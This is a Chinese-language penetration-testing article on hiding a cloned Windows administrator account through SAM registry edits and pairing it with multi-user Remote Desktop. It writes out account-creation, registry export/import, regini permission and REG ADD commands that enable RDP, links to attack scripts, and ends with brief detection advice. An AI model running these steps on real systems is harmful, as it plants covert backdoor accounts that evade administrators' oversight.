0x00 前言

在之前的文章《渗透技巧——Windows系统远程桌面的多用户登录》介绍过Windows系统远程桌面的利用技巧，实现了非服务器版本Windows系统的多用户远程登录，而最近我和Evilcg一起研究了通过帐户克隆实现隐藏帐户的利用技巧。如果将二者结合，会有什么利用技巧呢，本文将会一一介绍。

0x01 简介

本文将要介绍以下内容：

· 帐户隐藏的方法

· 编写脚本实现思路

· 结合远程桌面多用户登录的利用思路

0x02 帐户隐藏的方法

该方法在网上已有相关资料，本节只做简单复现

测试系统：·Win7 x86

1、对注册表赋予权限

默认注册表HKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改

现在需要为其添加管理员权限

右键-权限-选中Administrators，允许完全控制

如下图

重新启动注册表regedit.exe，获得对该键值的修改权限

2、新建特殊帐户

net user test$ 123456 /add
net localgroup administrators test$ /add

注：

用户名要以$结尾

添加后，该帐户可在一定条件下隐藏，输入net user无法获取，如下图

但是，在控制面板能够发现该帐户

如下图

3、导出注册表

在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找到新建的帐户test$

获取默认类型为0x3ea

将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为1.reg

在注册表下能够找到对应类型名称的注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA

如下图

右键将该键导出为2.reg，保存的文件信息如下图

默认情况下，管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

同样，右键将该键导出为3.reg

将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值，即2.reg中键F的值替换成3.reg中键F的值

替换后，如下图

4、命令行删除特殊帐户

net user test$ /del

5、导入reg文件

regedit /s 1.reg
regedit /s 2.reg

隐藏账户制做完成，控制面板不存在帐户test$

通过net user无法列出该帐户

计算机管理-本地用户和组-用户也无法列出该帐户

但可通过如下方式查看：

net user test$

如下图

无法通过net user test$ /del删除该用户，提示用户不属于此组，如下图

删除方法：

删除注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下对应帐户的键值(共有两处)

注：

工具HideAdmin能自动实现以上的创建和删除操作

0x03 编写脚本实现思路

采用powershell脚本实现的两种思路：

1、对注册表添加管理员帐户的编辑权限

使用regini注册ini文件为注册表及其子键赋予权限

注：

Powershell通过Set-Acl为注册表赋予权限，示例代码：

$acl = Get-Acl HKLM:SAM\SAM\
$person = [System.Security.Principal.NTAccount]"Administrators"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"NoPropagateInherit"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.ResetAccessRule($rule)
Set-Acl HKLM:SAM\SAM\Domains\Account\Users\Names $acl

但不支持对子键的权限分配，因此不采用该方法

以下内容保存为a.ini:

HKEY_LOCAL_MACHINE\SAM\SAM\* [1 17]

注：

*代表枚举所有子键

1代表Administrators 完全访问

17代表System 完全访问

详细权限说明可通过cmd执行regini获取帮助，如下图

通过regini注册:

regini  a.ini

Evilcg就是通过这种方式实现的，脚本地址：

https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Create-Clone.ps1

注：

使用*需要system权限,但只把相关的列举出来，只需要管理员权限即可，例如：

HKEY_LOCAL_MACHINESAM [1 17]
HKEY_LOCAL_MACHINESAMSAM [1 17]
HKEY_LOCAL_MACHINESAMSAMDomains [1 17]
HKEY_LOCAL_MACHINESAMSAMDomainsAccount [1 17]
HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers [1 17]
HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames [1 17]

2、直接获得System权限

我在之前的文章《渗透技巧——Token窃取与利用》介绍过通过token复制获得system权限的方法

所以，可以先获得System权限，进而拥有对注册表的编辑权限

简单的方式，通过Invoke-TokenManipulation.ps1，地址如下：

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

但我在测试时发现了一个bug，使用Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"无法将当前权限切换为System权限

但可以使用Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"新打开一个System权限的进程

接下来，就是编写脚本实现注册表的导出替换功能：

· 新建测试帐户

· 将注册表导出到temp目录，进行替换

· 删除特殊帐户

· 导入注册表文件

我的实现方法参照了Evilcg的最初始版本，做了细节上的优化，下载地址：

https://github.com/3gstudent/Windows-User-Clone

0x04 结合远程桌面多用户登录的利用思路

通过以上的介绍，可得出该方法的优点：

通过克隆的方式能够继承原帐户的权限

在利用上存在以下需要注意的问题：

1、复制管理员帐户Administrator

需要注意管理员帐户是否被禁用，如果被禁用，那么克隆出的隐藏帐户也是被禁用状态

2、复制已有帐户

在3389远程登录的利用上存在相同帐户的冲突关系

通过cmd开启本机的3389远程登录功能：

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

利用以上方法，克隆帐户a的权限，建立隐藏帐户aaa$

如果系统当前登录帐号为a，那么使用隐藏帐户aaa$登录的话，会系统被识别为帐户a，导致帐户a下线

3、新建帐户再复制

进一步，大胆的思考

新建管理员帐户b，克隆帐户b，建立隐藏账户bbb$

删除管理员帐户b,隐藏账户bbb$仍然有效

4、原帐户的维持

再进一步

克隆帐户a的权限，建立隐藏帐户aaa$

修改帐户a的密码，隐藏帐户aaa$仍然有效

0x05 防御

针对隐藏帐户的利用，查看注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\即可

当然，默认管理员权限无法查看，需要分配权限或是提升至Sytem权限

隐藏帐户的登录记录，可通过查看日志获取

0x06 小结

本文介绍了隐藏帐户的相关利用技巧，如果应用于远程桌面的多用户登录，隐蔽性会大大提高，站在防御的角度，分享出该利用方法，帮助大家更好的认识和防御。